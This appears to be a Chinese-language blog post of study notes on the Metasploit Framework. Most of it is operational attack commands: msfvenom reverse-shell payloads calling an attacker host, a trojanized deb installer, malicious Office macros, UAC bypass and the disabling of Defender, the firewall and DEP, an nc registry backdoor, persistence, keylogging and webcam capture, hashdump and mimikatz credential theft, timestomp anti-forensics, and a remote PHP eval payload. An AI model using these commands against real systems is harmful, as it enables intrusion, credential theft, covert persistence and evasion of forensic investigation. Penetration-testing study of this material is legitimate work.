kaliMSF笔记

mac2025-09-27  19

metasploit framework

基本使用

msfconsole使用接口 最流行的用户接口 几乎可以使用全部MSF功能 控制台命令支持TAB自动补齐 支持外部命令的执行(系统命令等) 点击鼠标启动 或 msfconsole -h帮助 -q不看banner -r -v版本信息 help / ? / help vulns

MSF控制台命令

Banner、Color connect 类似nc

show auxiliary / exploits 等,显示所有

search usermap_script / help search search name:mysql / path:scada / platform:aix / type:aux /author:aaron / cve:2011 可多条件同时搜索,-h查看

use dos/windows/smb/ms09_001_write show options / payloads / targets / advanced / evasion info查看信息、edit编辑脚本 Check、back

db_status数据库连接状态 db_rebuild_cache重新生成搜索缓存

db_nmap hosts / host 1.1.1.1 / hosts -u / hosts -c address,os_flavor -S Linux 查看扫描到的主机 services -p 80 / services -c info,name -p 1-1000 查看开放的端口及服务 vulns 查看扫描出的漏洞 / creds (mysql_login) 查看破解出的密码 / loot (hashdump) 查看获取到的哈希值

db_disconnect / db_connect 断开、连接数据库 /usr/share/metasploit-framework/config/database.yml 默认数据库存放位置

db_import / db_export 数据库导出导入 db_import /root/nmap.xml db_export -f xml /root/bak.xml

set / unset / setg设为默认直到退出 / unsetg / save 设为默认且一直存在 run / exploit 都一样 jobs / kill 0 load 加载openvas sqlmap等/ unload /loadpath加载自己写的模块的路径 session -l / -i (Shell、Meterpreter session、VNC)看获得的session route通过指定session路由流量 irb(Framework::Version)编程 resource (msfconsol -r a.rc)自己写好个.rc,会自动执行一系列命令

exploit模块

Active exploit 主动 use exploit/windows/smb/psexec set RHOST 192.168.1.100 set PAYLOAD windows/shell/reverse_tcp set LHOST 192.168.1.1 set LPORT 4444 set SMBUSER user1 set SMBPASS pass1 exploit

Passive Exploits 被动 use exploit/windows/browser/ms07_017_ani_loadimage_chunksize set URIPATH / set PAYLOAD windows/shell/reverse_tcp set LHOST 192.168.1.1 set LPORT 4444 exploit

生成payload

use payload/windows/shell_bind_tcp

generate -b ‘\x00’ 生成payload并自动选择编码模块绕过坏字符,要绕过的坏字符太多会导致没有可用的模块

手动指定编码模块 show encoders generate -e x86/nonalpha

generate -b ‘\x00’ -t exe -e x86/shikata_ga_nai -i 5 -k -x /usr/share/windows-binaries/radmin.exe -f /root/1.exe i设置重复编码几次 b绕过坏字符 e指定编码模块 k多线程 x使用模板 t输出格式

NOP:no-operation或叫Next Operation,无任何操作的字节,EIP返回到存储NOP sled的任意地址时将递增,最终导致shellcode执行,generate -s 14

meterpreter

高级、动态、可扩展的payload 后渗透测试阶段一站式操作界面

完全基于内存的DLL注入式payload(不写硬盘) 注入合法系统进程并建立stager 基于stager上传和预加载DLL进行扩展模块的注入 基于stager建立的socket连接建立加密的TLS/1.0通信隧道 利用TLS隧道进一步加载后续扩展模块(避免网络取证)

服务端使用C语言编写 客户端提供基于ruby的全特性API

meterpreter基本命令

Help 帮助background返回 Run执行一系列功能 bgrun在后台执行

Cd ls cat pwd dir mkdir mv rm rmdir edit就是vi Windows和Linux的命令通用

lpwd lcd 等于在本机执行pwd、cd clearev清除日志信息 download从控制的机器上下载文件 upload /usr/share/windows-binaries/nc.exe c:\windows\system32上传文件 execute -f cmd.exe -i –H 执行命令 getuid查看当前账号 getsystem获取system权限 getprivs查看当前权限 getproxy查看系统代理信息 getpid获取所注入进程的PID

Hashdump run post/windows/gather/hashdump sysinfo ps kill migrate迁移进程 reboot shutdown shell show_mount 显示挂载的硬盘 search -f autoexec.bat搜索文件 arp查看ARP缓存 netstat查看网络连接情况 ipconfig ifconfig route Idletime查看空闲时间 resource类似msf的resource record_mic记录麦克风声音 webcam_list摄像头列表 webcam_snap -i 1 -v false每一秒截摄像头一次

meterpreter Python扩展 无需运行环境,在客户端运行Python原生代码 load python help python_execute “print (‘asdasdas’)” python_execute “import os; cd = os.getcwd()” -r cd python_import -f find.py

msfcli

由msfconsole -x取代 msfconsole -x “use exploit/windows/smb/ms08_067_netapi; set RHOST 1.1.1.1; set PAYLOAD windows/meterpreter/reverse_tcp; set LHOST 1.1.1.8; set LPORT 5555; set target 34; exploit”

msf信息收集

nmap扫描 db_nmap -sV 192.168.1.0/24

auxiliary扫描模块:

RHOSTS设置一个或多个IP 192.168.1.20-192.168.1.30 192.168.1.0/24, 192.168.11.0/24 file:/root/h.txt或放在文件里

search arp use auxiliary/scanner/discovery/arp_sweep set INTERFACE、RHOSTS、SHOST、SMAC、THREADS run

search portscan use auxiliary/scanner/portscan/syn set INTERFACE、PORTS、RHOSTS、THREADS run

namp IPID idle扫描 查找ipidseq主机 use auxiliary/scanner/ip/ipidseq set RHOSTS 192.168.1.0/24 run 找到合适主机后nmap -PN -sI 1.1.1.2 1.1.1.3

UDP扫描 use auxiliary/scanner/discovery/udp_sweep use auxiliary/scanner/discovery/udp_probe

密码嗅探 use auxiliary/sniffer/psnuffle 支持从pcap抓包文件中提取密码 功能类似于dsniff 目前只支持pop3、imap、ftp、HTTP GET协议

SNMP扫描 vi /etc/default/snmpd #侦听地址修改为0.0.0.0 use auxiliary/scanner/snmp/snmp_login use auxiliary/scanner/snmp/snmp_enum use auxiliary/scanner/snmp/snmp_enumusers (Windows) use auxiliary/scanner/snmp/snmp_enumshares (Windows)

SMB版本扫描 use auxiliary/scanner/smb/smb_version

扫描命名管道,判断SMB服务类型(账号、密码) use auxiliary/scanner/smb/pipe_auditor

扫描通过SMB管道可以访问的RCERPC服务 use auxiliary/scanner/smb/pipe_dcerpc_auditor

SMB共享枚举(账号、密码) use auxiliary/scanner/smb/smb_enumshares

SMB用户枚举(账号、密码) use auxiliary/scanner/smb/smb_enumusers

SID枚举(账号、密码) use auxiliary/scanner/smb/smb_lookupsid

SSH版本扫描 use auxiliary/scanner/ssh/ssh_version

SSH密码爆破 use auxiliary/scanner/ssh/ssh_login set USERPASS_FILE /usr/share/metasploit-framework/data/wordlists/root_userpass.txt set VERBOSE false run

SSH公钥登陆 use auxiliary/scanner/ssh/ssh_login_pubkey set KEY_FILE id_rsa set USERNAME root run

Windows缺少的补丁 基于已经取得的session进行检测 use post/windows/gather/enum_patches show advanced set VERBOSE yes 检查失败 known bug in WMI query, try migrating to another process 迁移到另一个进程再次尝试

Mssql端口扫描 TCP 1433(动态端口) / UDP 1434(查询TCP端口号) use auxiliary/scanner/mssql/mssql_ping 暴破mssql密码 use auxiliary/scanner/mssql/mssql_login 远程执行代码 use auxiliary/admin/mssql/mssql_exec set CMD net user user pass /ADD

FTP版本扫描 use auxiliary/scanner/ftp/ftp_version 查看FTP版本信息 use auxiliary/scanner/ftp/anonymous 查看是否可以匿名登陆 use auxiliary/scanner/ftp/ftp_login 暴破密码

use auxiliary/scanner/ [tab] 多尝试 Display all 479 possibilities? (y or n)

弱点扫描

根据信息收集结果搜索漏洞利用模块 结合外部漏洞扫描系统对大IP地址段进行批量扫描 误判率、漏判率

VNC密码破解 use auxiliary/scanner/vnc/vnc_login VNC无密码访问 use auxiliary/scanner/vnc/vnc_none_auth 无密码时显示:supported : None, free access! RDP远程桌面漏洞 use auxiliary/scanner/rdp/ms12_020_check 检查不会造成DoS攻击 设备后门 use auxiliary/scanner/ssh/juniper_backdoor use auxiliary/scanner/ssh/fortinet_backdoor

VMWare ESXi 密码爆破 use auxiliary/scanner/vmware/vmauthd_login use auxiliary/scanner/vmware/vmware_enum_vms 利用WEB API远程开启虚拟机 use auxiliary/admin/vmware/poweron_vm

HTTP弱点扫描: 过期证书use auxiliary/scanner/http/cert

显示目录及文件 use auxiliary/scanner/http/dir_listing use auxiliary/scanner/http/files_dir 基于字典暴破文件名

WebDAV Unicode编码身份认证绕过 use auxiliary/scanner/http/dir_webdav_unicode_bypass

Tomcat管理登录页面 use auxiliary/scanner/http/tomcat_mgr_login

基于HTTP方法的身份验证绕过 use auxiliary/scanner/http/verb_auth_bypass Wordpress密码爆破 use auxiliary/scanner/http/wordpress_login_enum set URI /wordpress/wp-login.php

WMAP WEB应用扫描器 根据SQLMAP的工作方式开发 load wmap wmap_sites -a http://1.1.1.1 wmap_targets -t http://1.1.1.1/mutillidae/index.php wmap_run -t wmap_run -e wmap_vulns -l vulns

Openvas Load openvas 命令行模式,需要配置,使用繁琐 导入nbe格式扫描日志 db_import openvas.nbe

Nessus 同上

Nexpose Xml格式日志文件

MSF直接调用NESSUS执行扫描 Load nessus nessus_help nessus_connect admin:toor@1.1.1.1 nessus_policy_list nessus_scan_new nessus_report_list

MSF客户端渗透

在无法突破网络边界的情况下转而攻击客户端 社会工程学攻击 进而渗透线上业务网络

含有漏洞利用代码的WEB站点 利用客户端漏洞

含有漏洞利用代码的DOC、PDF等文档

诱骗被害者执行payload(Windows) msfvenom --payload-options -p windows/shell/reverse_tcp msfvenom -a x86 --platform windows -p windows/shell/reverse_tcp LHOST=1.1.1.1 LPORT=4444 -b “\x00” -e x86/shikata_ga_nai -f exe -o 1.exe msfconsole ▪use exploit/multi/handler ▪set payload windows/shell/reverse_tcp ▪set LHOST 1.1.1.1 ▪set LPORT 4444 ▪exploit

诱骗被害者执行payload(Linux deb安装包) apt-get --download-only install freesweep dpkg -x freesweep_0.90-1_i386.deb free mkdir free/DEBIAN && cd free/DEBIAN vi control vi postinst ▪#!/bin/sh ▪sudo chmod 2755 /usr/games/freesweep_scores && /usr/games/freesweep_scores & /usr/games/freesweep & msfvenom -a x86 --platform linux -p linux/x86/shell/reverse_tcp LHOST=1.1.1.1 LPORT=4444 -b “\x00” -f elf -o /root/free/usr/games/freesweep_scores chmod 755 postinst dpkg-deb --build /root/free

利用Acrobat Reader漏洞执行payload 构造PDF文件exploit/windows/fileformat/adobe_utilprintf 构造恶意网站exploit/windows/browser/adobe_utilprintf Meterpreter ▪use priv ▪run post/windows/capture/keylog_recorder

利用Flash插件漏洞执行payload –use exploit/multi/browser/adobe_flash_hacking_team_uaf –use exploit/multi/browser/adobe_flash_opaque_background_uaf –use auxiliary/server/browser_autopwn2 利用IE浏览器漏洞执行payload –use exploit/windows/browser/ms14_064_ole_code_execution

利用JRE漏洞执行payload –use exploit/multi/browser/java_jre17_driver_manager –use exploit/multi/browser/java_jre17_jmxbean –use exploit/multi/browser/java_jre17_reflection_types 生成Android后门程序 –use payload/android/meterpreter/reverse_tcp –generate -f a.apk -p android -t raw

VBScript感染方式 利用宏感染word、excel文档 绕过某些基于文件类型检查的安全机制 生成 vbscript 脚本:msfvenom -a x86 --platform windows -p windows/meterpreter/reversetcp LHOST=1.1.1.1 LPORT=4444 -e x86/shikata_ga_nai -f vba-exe Office 2007 + 视图-----宏-----创建 Payload第一部分粘入VBA代码; Payload第二部分粘入word文档正文; Msf启动侦听 use exploit/multi/handler set payload windows/meterpreter/reverse_tcp

后渗透测试阶段

已获得目标系统控制权后扩大战果 提权、信息收集、渗透内网、永久后门

基于已有session扩大战果 msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=1.1.1.1 LPORT=4444 -b “\x00” -e x86/shikata_ga_nai -f exe -o 1.exe

获取system账号权限 load priv getsystem priv_elevate_getsystem: Operation failed: Access is denied.一般是UAC限制导致

绕过UAC限制 use exploit/windows/local/ask ▪set session ▪set filename use exploit/windows/local/bypassuac use exploit/windows/local/bypassuac_injection ▪set session ▪set payload

利用漏洞直接提权为system use exploit/windows/local/ms13_053_schlamperei use exploit/windows/local/ms13_081_track_popup_menu use exploit/windows/local/ms13_097_ie_registry_symlink use exploit/windows/local/ppr_flatten_rec

图形化payload set payload windows/vncinject/reverse_tcp set viewonly no设置这个参数后可以操作,不然只能看

psexec模块之passthehash use exploit/windows/smb/psexec set smbpass hash 需要提前关闭UAC ▪cmd.exe /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f ▪cmd.exe /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\system /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f

关闭windows防火墙 需要管理员或system权限 netsh advfirewall set allprofiles state on

关闭 Windefend net stop windefend

Bitlocker磁盘加密 manage-bde -off C: manage-bde -status C:

关闭DEP bcdedit.exe /set {current} nx AlwaysOff

杀死防病毒软件 –Run killav –run post/windows/manage/killav 开启远程桌面服务 –run post/windows/manage/enable_rdp –run getgui –e ▪run getgui -u yuanfh -p pass ▪run multi_console_command -rc /root/.msf4/logs/scripts/getgui/clean_up__20160824.1855.rc 查看远程桌面 –screenshot –use espia ▪screengrab

tokens 用户每次登录,账号绑定临时的Token 访问资源时提交Token进行身份验证,类似于WEB Cookie Delegate Token:交互登陆会话 Impersonate Token:非交互登陆会话 Delegate Token账号注销后变为Impersonate Token,权限依然有效

incognito 独立功能的软件,被MSF集成在meterpreter中 无需密码破解或获取密码HASH,窃取Token将自己伪装成其他用户 尤其适用于域环境下提权渗透多操作系统

load incognito –list_tokens -u –impersonate_token lab\administrator –运行以上命令需要getsystem ▪ 本地普通权限用户需先本地提权 ▪use exploit/windows/local/ms10_015_kitrap0d ▪execute -f cmd.exe -i -t # -t使用当前假冒token执行程序 ▪shell

注册表保存着windows几乎全部配置参数 如果修改不当,可直接造成系统崩溃 修改前完整备份注册表 某些注册表的修改是不可逆的 常见用途: 修改、增加启动项 窃取存储于注册表中的机密信息 绕过文件型病毒查杀

用注册表添加NC后门服务(meterpreter) upload /usr/share/windows-binaries/nc.exe C:\windows\system32 reg enumkey -k HKLM\software\microsoft\windows\currentversion\run reg setval -k HKLM\software\microsoft\windows\currentversion\run -v nc -d ‘C:\windows\system32\nc.exe -Ldp 444 -e cmd.exe’ reg queryval -k HKLM\software\microsoft\windows\currentversion\Run -v nc

打开防火墙端口(meterpreter) execute -f cmd -i -H netsh firewall show opmode netsh firewall add portopening TCP 4444 “test” ENABLE ALL shutdown -r -t 0 nc 1.1.1.1 4444

其他注册表项 https://support.accessdata.com/hc/en-us/articles/204448155-Registry-Quick-Find-Chart

抓包(meterpreter) load sniffer –sniffer_interfaces –sniffer_start 2 –sniffer_dump 2 1.cap / sniffer_dump 2 1.cap 在内存中缓存区块循环存储抓包(50000包),不写硬盘 智能过滤meterpreter流量,传输全程使用SSL/TLS加密

解码 use auxiliary/sniffer/psnuffle set PCAPFILE 1.cap

搜索文件 search -f *.ini search -d c:\documents\ and\ settings\administrator\desktop\ -f *.docx

John the Ripper 破解弱口令 use post/windows/gather/hashdump #system权限的meterpreter Run #结果保存在/tmp目录下 use auxiliary/analyze/jtr_crack_fast run

文件系统访问会留下痕迹,电子取证重点关注 渗透测试和攻击者往往希望销毁文件系统访问痕迹 最好的避免被电子取证发现的方法:不要碰文件系统 -Meterpreter的先天优势所在(完全基于内存) MAC 时间(Modified / Accessed / Changed) ls -l --time=atime/mtime/ctime 1 .txt stat 1.txt touch -d “2 days ago” 1 .txt touch-t 1501010101 1.txt

MACE MFT entry MFT: NTFS文件系统的主文件分配表Master File Table 通常1024字节或2个硬盘扇区,其中存放多项entry信息 包含文件大量信息(大小 名称 目录 位置 磁盘位置 创建日期) 更多信息可研究 文件系统取证分析技术

Timestomp (meterpreter) –timestomp -v 1.txt –timestomp -f c:\autoexec.bat 1.txt –-b -r #擦除MACE时间信息 –-m / -a / -c / -e / -z –timestomp -z “MM/DD/YYYY HH24:MI:SS” 2.txt

pivoting 跳板、枢纽、支点 利用已经控制的一台计算机作为入侵内网的跳板 在其他内网计算机看来访问全部来自于跳板机 run autoroute -s 1.1.1.0/24 #不能访问外网的被攻击目标内网网段 扫描内网:use auxiliary/scanner/portscan/tcp

pivoting之端口转发 利用已经被控计算机,在kali与攻击目标之间实现端口转发 portfwd add -L LIP -l LPORT -r RIP -p RPORT portfwd add -L 1.1.1.10 -l 445 -r 2.1.1.11 -p 3389 portfwd list / delete / flush

use exploit/windows/smb/ms08_067_netapi –set RHOST 127.0.0.1 –set LHOST 2.1.1.10

use exploit/multi/handler –set exitonsession false

post模块 run post/windows/gather/arp_scanner RHOSTS=2.1.1.0/24 run post/windows/gather/checkvm run post/windows/gather/credentials/credential_collector run post/windows/gather/enum_applications run post/windows/gather/enum_logged_on_users run post/windows/gather/enum_snmp run post/multi/recon/local_exploit_suggester run post/windows/manage/delete_user USERNAME=yuanfh run post/multi/gather/env run post/multi/gather/firefox_creds run post/multi/gather/ssh_creds run post/multi/gather/check_malware REMOTEFILE=c:\a.exe

自动执行meterpreter脚本 set AutoRunScript hostsedit -e 1.1.1.1,www.baidu.com set InitialAutoRunScript checkvm 自动执行post模块 set InitialAutoRunScript migrate -n explorer.exe set AutoRunScript post/windows/gather/dumplinks

持久后门 利用漏洞取得的meterpreter shell运行于内存中,重启失效 重复exploit漏洞可能造成服务崩溃 持久后门保证漏洞修复后仍可远程控制

meterpreter后门 run metsvc -A #删除 -r –use exploit/multi/handler –set PAYLOAD windows/metsvc_bind_tcp –set LPORT 31337 –set RHOST 1.1.1.1

持久后门 run persistence -h run persistence -X -i 10 -p 4444 -r 1.1.1.1 run persistence -U -i 20 -p 4444 -r 1.1.1.1 run persistence -S -i 20 -p 4444 -r 1.1.1.1

MSF延伸用法之mimikatz hashdump使用的就是mimikatz的部分功能 getsystem load mimikatz wdigest kerberos msv ssp tspkg livessp mimikatz_command -h mimikatz_command -f a:: 显示所有可用 mimikatz_command -f samdump::hashes mimikatz_command -f handle::list mimikatz_command -f service::list mimikatz_command -f crypto::listProviders mimikatz_command -f winmine::infos

PHP shell msfvenom -p php/meterpreter/reverse_tcp LHOST=1.1.1.1 LPORT=3333 -f raw -o a.php MSF启动侦听 上传到web站点并通过浏览器访问

web delivery 利用代码执行漏洞访问攻击者服务器 use exploit/multi/script/web_delivery set target 1 php -d allow_url_fopen=true -r “eval(file_get_contents(‘http://1.1.1.1/fTYWqmu’));”

RFI远程文件包含 vi /etc/php5/cgi/php.ini #php info配置文件 ▪allow_url_fopen = On ▪allow_url_include = On –use exploit/unix/webapp/php_include –set RHOST 1.1.1.2 –set PATH /dvwa/vulnerabilities/fi/ –set PHPURI /?page=XXpathXX –set HEADERS “Cookie:security=low; PHPSESSID=eefcf023ba61219d4745ad7487fe81d7” –set payload php/meterpreter/reverse_tcp –set lhost 1.1.1.1 –exploit

Karmetasploit 伪造AP、嗅探密码、截获数据、浏览器攻击 wget https://www.offensive-security.com/wp-content/uploads/2015/04/karma.rc_.txt

安装其他依赖包 gem install activerecord sqlite3-ruby

最新回复(0)